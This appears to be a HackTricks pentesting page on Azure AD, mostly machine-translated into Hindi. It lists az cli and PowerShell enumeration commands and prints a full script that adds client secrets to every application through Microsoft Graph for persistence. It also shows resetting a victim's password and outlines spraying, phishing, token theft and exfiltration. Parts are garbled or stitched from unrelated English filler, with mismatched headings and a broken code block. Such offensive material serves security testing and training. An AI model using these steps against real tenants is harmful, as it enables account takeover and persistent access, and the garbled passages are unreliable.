Az - AzureAD (AAD)

हैकट्रिक्स का समर्थन करें

मूल जानकारी

एज़्यूर एक्टिव डायरेक्टरी (Azure AD) माइक्रोसॉफ्ट की क्लाउड-आधारित पहचान और पहुंच प्रबंधन सेवा के रूप में काम करता है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुंचने में मददगार है, संगठन के अंदर और बाहर, माइक्रोसॉफ्ट 365, एज़्यूर पोर्टल, और कई अन्य SaaS एप्लिकेशनों को समाहित करते हैं। एज़्यूर एडी का डिज़ाइन मुख्य रूप से प्रमाणीकरण, अधिकारिकरण, और उपयोगकर्ता प्रबंधन जैसी महत्वपूर्ण पहचान सेवाओं पर ध्यान केंद्रित करता है।

एज़्यूर एडी की मुख्य विशेषताएँ बहु-कारक प्रमाणीकरण और शर्तमुक्त पहुंच शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ संकर प्रणाली से अद्वितीय एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचानों की सुरक्षा को बड़ाती हैं और संगठनों को उनकी पहुंच नीतियों को प्रभावी ढंग से लागू और प्रवर्तित करने की शक्ति प्रदान करती हैं। माइक्रोसॉफ्ट की क्लाउड सेवाओं पारिस्थितिकी में मूल घटक के रूप में, एज़्यूर एडी उपयोगकर्ता पहचानों का क्लाउड-आधारित प्रबंधन महत्वपूर्ण है।

एंटिटी

गणना

इस गणना के लिए आप az cli टूल, PowerShell मॉड्यूल AzureAD (या AzureAD Preview) और Az PowerShell मॉड्यूल का उपयोग कर सकते हैं।

लिनक्स में आपको PowerShell कोर इंस्टॉल करने की आवश्यकता होगी:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

मॉड्यूल अंतर

  • AzureAD माइक्रोसॉफ्ट का एक PowerShell मॉड्यूल है जो Azure AD का प्रबंधन करने के लिए है। यह सभी Azure AD ऑब्जेक्ट्स की सभी गुणधर्मों को नहीं दिखाता है और Azure संसाधनों की जानकारी तक पहुंचने के लिए उपयोग नहीं किया जा सकता है।

  • Az PowerShell एक मॉड्यूल है Azure संसाधनों का प्रबंधन करने के लिए PowerShell कमांड लाइन से।

कनेक्शन

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

जब आप CLI के माध्यम से Azure में लॉगिन करते हैं, तो आप Microsoft के tenant से एक Azure Application का उपयोग कर रहे हैं। इन Applications में, जैसे आप अपने खाते में बना सकते हैं, क्लाइंट आईडी होता है। आप कॉन्सोल में देख सकते हैं जो सभी उन्हें नहीं दिखाएगा, लेकिन वे डिफ़ॉल्ट रूप से अनुमति देते हैं

उदाहरण के लिए एक पावरशेल स्क्रिप्ट जो प्रमाणीकरण करता है, उसमें एक एप्लिकेशन का उपयोग करता है जिसका क्लाइंट आईडी 1950a258-227b-4e31-a9cf-717495945fc2 है। यदि ऐप कॉन्सोल में नहीं दिखाई देता है, तो सिस्टम व्यवस्थापक उस एप्लिकेशन को ब्लॉक कर सकता है ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें।

हालांकि, ऐसे अन्य क्लाइंट आईडी हैं जिनके एप्लिकेशन आपको Azure से कनेक्ट करने की अनुमति देंगे:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

उपयोगकर्ता

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

यदि आपके पास किसी उपयोगकर्ता के Azure AD खाते का नियंत्रण है, तो आप उसके लिए एक नया एडमिनिस्ट्रेटर उपयोगकर्ता बना सकते हैं और उसे व्यवस्थापक भूमिका दे सकते हैं। इसके लिए, आपको "User.ReadWrite.All" अनुमति की आवश्यकता होती है। इसके बाद, आप उस उपयोगकर्ता के खाते में लॉग इन करके उसे व्यवस्थापक भूमिका दे सकते हैं।

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

Az PowerShell

Install Az PowerShell Module

To interact with Azure AD using PowerShell, you need to install the Az PowerShell module. You can install the module by running the following command:

Install-Module -Name Az -AllowClobber -Scope CurrentUser

Connect to Azure AD

After installing the Az PowerShell module, you can connect to Azure AD using the following command:

Connect-AzAccount

This command will prompt you to enter your Azure credentials to authenticate and establish a connection to Azure AD.

List Azure AD Users

Once connected, you can list all the users in Azure AD by running the following command:

Get-AzADUser

This command will return a list of all the users along with their details such as UserPrincipalName, DisplayName, and ObjectId.

Get Azure AD User Details

To get detailed information about a specific user in Azure AD, you can use the following command:

Get-AzADUser -UserPrincipalName user@example.com

Replace user@example.com with the actual UserPrincipalName of the user you want to get details for.

Create a New Azure AD User

You can create a new user in Azure AD using the following command:

New-AzADUser -UserPrincipalName user@example.com -DisplayName "John Doe" -Password "P@ssw0rd123"

Replace user@example.com, John Doe, and P@ssw0rd123 with the desired UserPrincipalName, DisplayName, and Password for the new user.

Remove an Azure AD User

To remove a user from Azure AD, you can use the following command:

Remove-AzADUser -UserPrincipalName user@example.com

Replace user@example.com with the UserPrincipalName of the user you want to remove.

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

उपयोगकर्ता का पासवर्ड बदलें

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA और शर्ताधारित पहुंच नीतियाँ

हर उपयोगकर्ता को MFA जोड़ना अत्यंत अनुशंसित है, हालांकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या शर्ताधारित पहुंच के साथ सेट कर सकती हैं: उपयोगकर्ता को आवश्यक MFA होगा अगर वह एक विशेष स्थान, ब्राउज़र से लॉग इन करता है या कुछ शर्त। ये नीतियाँ, यदि सही ढंग से कॉन्फ़िगर नहीं की गई हैं तो उन्हें बायपास के लिए संवेदनशील किया जा सकता है। जांचें:

Az - Conditional Access Policies / MFA Bypass

समूह

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Azure AD

Azure AD के साथ पेंटेस्टिंग करते समय, आपको कुछ महत्वपूर्ण बिंदुओं पर ध्यान देना चाहिए:

  • उपयोगकर्ता और समूहों की पहचान करना

  • अनुमतियों की जांच करना

  • एक्सेस कंट्रोल लिस्ट की जांच करना

  • एक्सेस टोकन की जांच करना

  • एक्सेस लॉग की जांच करना

इन बिंदुओं पर ध्यान देने से आप Azure AD में सुरक्षा को मजबूत बना सकते ह।

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

हम अपने Azure AD डेटा को PowerShell का उपयोग करके भी प्राप्त कर सकते हैं। निम्नलिखित कमांड का उपयोग करके हम सभी उपयोगकर्ताओं की सूची प्राप्त कर सकते हैं:

Get-AzureADUser
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

समूह में उपयोगकर्ता जोड़ें

समूह के मालिक नए उपयोगकर्ता को समूह में जोड़ सकते हैं

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

समूह डायनामिक हो सकते हैं, जिसका मतलब है कि यदि किसी उपयोगकर्ता ने कुछ शर्तों को पूरा किया है तो उसे एक समूह में शामिल किया जाएगा। बेशक, यदि शर्तें गुणधर्मों पर आधारित हैं जिन्हें एक उपयोगकर्ता नियंत्रित कर सकता है, तो वह इस सुविधा का दुरुपयोग कर सकता है अन्य समूहों में प्रवेश प्राप्त करने के लिए। जांचें कि डायनामिक समूहों का दुरुपयोग कैसे किया जा सकता है निम्नलिखित पृष्ठ पर:

Az - Dynamic Groups Privesc

सेवा प्रिंसिपल / एंटरप्राइज एप्लिकेशन्स

ध्यान दें कि PowerShell शब्दावली में सेवा प्रिंसिपल को आज़र पोर्टल (वेब) में एंटरप्राइज एप्लिकेशन्स कहा जाता है।

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

यहाँ हम आपको Azure AD पर पेंटेस्टिंग करने के लिए कुछ उपयुक्त टिप्स और तकनीकों के बारे में बताएंगे।

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

हम अपने Azure AD डेटा को प्राप्त करने और संशोधित करने के लिए Az PowerShell का उपयोग कर सकते हैं।

# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>

यह विषय एक अद्वितीय तकनीकी उपाय के बारे में है जिसे एक हैकर को अपने लक्ष्य तक पहुंचने में मदद कर सकता है।

$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

सेवा प्रिंसिपल के मालिक अपना पासवर्ड बदल सकते हैं।

प्रत्येक एंटरप्राइज ऐप पर सूची देखें और क्लाइंट सीक्रेट जोड़ने का प्रयास करें

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### भूमिकाएँ

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

एज़्यूर एडिटेड डायरेक्टरी (Azure AD)

एज़्यूर एडिटेड डायरेक्टरी (Azure AD) एक आईडीएम सेवा है जो व्यवसायों को उनके उपयोगकर्ताओं, अनुप्रयोगों, और सेवाओं के लिए पहचान और एकीकरण प्रदान करने में मदद करती है। यह सेवा उपयोगकर्ताओं को साइन इन करने और सुरक्षित रूप से पहुंचने की अनुमति देती है, साथ ही उन्हें विभिन्न सेवाओं और उपकरणों तक पहुंचने की अनुमति भी देती है।

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

हम अपने Azure AD डेटा को प्राप्त करने के लिए Az PowerShell का उपयोग कर सकते हैं।

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

यदि आपके पास एक वैध यूजरनेम और पासवर्ड है, तो आप एज़्यूर एक्सेस टोकन प्राप्त कर सकते हैं। इसके लिए, आपको एज़्यूर एक्सेस टोकन अनुरोध करना होगा और उसे एज़्यूर एक्सेस टोकन एपीआई के साथ विन्डोज़ ऑथेंटिकेशन लाइब्रेरी का उपयोग करके प्राप्त करना होगा।

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

उपकरण

# If you know how to do this send a PR!

Azure AD

Enumeration

To enumerate users, you can use the Get-AzureADUser cmdlet. This will list all users in the Azure AD tenant.

Get-AzureADUser

To enumerate groups, you can use the Get-AzureADGroup cmdlet. This will list all groups in the Azure AD tenant.

Get-AzureADGroup

Brute Forcing

You can perform brute force attacks against Azure AD accounts using tools like Hydra or custom scripts. Make sure to implement rate limiting to avoid account lockouts.

Password Spraying

Password spraying attacks can be conducted using tools like CrackMapExec or custom scripts. This technique involves trying a few common passwords against many accounts to avoid account lockouts.

Phishing

Phishing attacks can be used to trick users into revealing their Azure AD credentials. This can be done through email or fake login pages.

Token Extraction

Tokens can be extracted from compromised devices or through phishing attacks. These tokens can then be used to authenticate as the compromised user.

Password Cracking

If you have obtained password hashes, you can use tools like Hashcat to crack them and obtain the plaintext passwords.

Privilege Escalation

Look for opportunities to escalate privileges within Azure AD, such as misconfigured roles or weak permissions.

Persistence

After gaining access, establish persistence by creating backdoors or adding rogue applications.

Data Exfiltration

Finally, exfiltrate sensitive data from Azure AD using various techniques like downloading user data or accessing confidential documents.

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

यदि एक डिवाइस (VM) AzureAD जुड़ा है, तो AzureAD से उपयोगकर्ता लॉगिन कर सकेंगे। इसके अतिरिक्त, यदि लॉग इन किया गया उपयोगकर्ता उस डिवाइस का मालिक है, तो वह स्थानीय व्यवस्थापक होगा।

अनुप्रयोग

ऐप्स पोर्टल में ऐप रजिस्ट्रेशन हैं (एंटरप्राइज ऐप्लिकेशन नहीं)। लेकिन प्रत्येक ऐप रजिस्ट्रेशन एक एंटरप्राइज ऐप्लिकेशन (सेवा प्रिंसिपल) उसी नाम से बनाएगा। इसके अतिरिक्त, यदि ऐप एक मल्टी-टेनेंट ऐप है, तो उस टेनेंट में एक और एंटरप्राइज ऐप (सेवा प्रिंसिपल) उसी नाम से बनाया जाएगा।

जब एक ऐप उत्पन्न होता है तो 2 प्रकार की अनुमतियाँ दी जाती हैं:

  • सेवा प्रिंसिपल को दी गई अनुमतियाँ

  • अनुमतियाँ जो ऐप के पास हो सकती हैं और उपयोगकर्ता के पक्ष में उपयोग की जा सकती हैं।

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

यहाँ हम Azure AD पर पेंटेस्टिंग करने के लिए उपयुक्त तकनीकों की चर्चा करेंगे।

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

हम अपने Azure AD डेटा को प्राप्त करने और संशोधित करने के लिए Az PowerShell का उपयोग कर सकते हैं।

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

एक ऐप जिसकी अनुमति AppRoleAssignment.ReadWrite है, वह खुद को रोल देकर ग्लोबल एडमिन बना सकता है। अधिक जानकारी के लिए यह देखें

एक गुप्त स्ट्रिंग जो एप्लिकेशन अपनी पहचान साबित करने के लिए उपयोग करता है जब एक टोकन का अनुरोध करता है, वह एप्लिकेशन पासवर्ड है। इसलिए, अगर आप इस पासवर्ड को पाते हैं तो आप सेवा प्रिंसिपल के रूप में टेनेंट के अंदर पहुंच सकते हैं। ध्यान दें कि यह पासवर्ड केवल जब उत्पन्न होता है तब ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन आप इसे फिर से प्राप्त नहीं कर सकते)। एप्लिकेशन के मालिक इसे पासवर्ड जोड़ सकता है (ताकि वह इसकी प्रतिष्ठा कर सके)। इन सेवा प्रिंसिपल के रूप में लॉगिन को जोखिमपूर्ण नहीं चिह्नित किया जाता है और उनके पास MFA नहीं होगा

एप्लिकेशन और (एंटरप्राइज एप्लिकेशन या सेवा प्रिंसिपल) के बीच अंतर

एज़्यूर में एप्लिकेशन और सेवा प्रिंसिपल के बीच अंतर:

  • एप्लिकेशन/एप्लिकेशन पंजीकरण: वे एप्लिकेशन हैं जो आपके एज़्यूर एडी में मौजूद हैं

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • सेवा प्रिंसिपल/एंटरप्राइज एप्लिकेशन: आपके एज़्यूर एडी में सुरक्षा वस्तुएं जो एज़्यूर डायरेक्ट्री में विशेषाधिकार रख सकती हैं और या तो आपके एप्लिकेशन से जुड़ी होती हैं या तीसरी पक्षीय एप्लिकेशन से जुड़ी होती हैं

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • यदि वे बहुत ही संवेदनशील हैं तो दिए गए अनुमतियों को मंजूरी देने की आवश्यकता हो सकती है।

एक एप्लिकेशन एक तीसरे पक्ष किरायेदार टेनेंट को चला सकती है और एक बार जब आप इसका उपयोग करना शुरू करते हैं और उसे पहुंच देते हैं तो आपके टेनेंट में एक एंटरप्राइज एप्लिकेशन/सेवा प्रिंसिपल बनाया जाता है ताकि इसे उस जानकारी तक पहुंच मिल सके जिसकी आवश्यकता है।

प्रशासनिक इकाइयाँ

उपयोगकर्ताओं के बेहतर प्रबंधन के लिए उपयोग किया जाता है।

प्रशासनिक इकाइयाँ आपके संगठन के किसी भाग में किसी भी भूमिका में अनुमतियों को प्रतिबंधित करती हैं जो आपने परिभाषित किया है। आप उदाहरण के लिए प्रशासनिक इकाइयों का उपयोग करके हेल्पडेस्क प्रशासक भूमिका को क्षेत्रीय समर्थन विशेषज्ञों को सौंप सकते हैं, ताकि वे केवल उन क्षेत्र में उपयोगकर्ताओं का प्रबंधन कर सकें जिन्हें वे समर्थन देते हैं।

इसलिए, आप प्रशासनिक इकाइयों को भूमिका सौंप सकते हैं और इसके सदस्यों के पास यह भूमिकाएँ होंगी।

यहाँ आपको Azure Active Directory (AzureAD) के सुरक्षा संबंधित जानकारी मिलेगी।

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
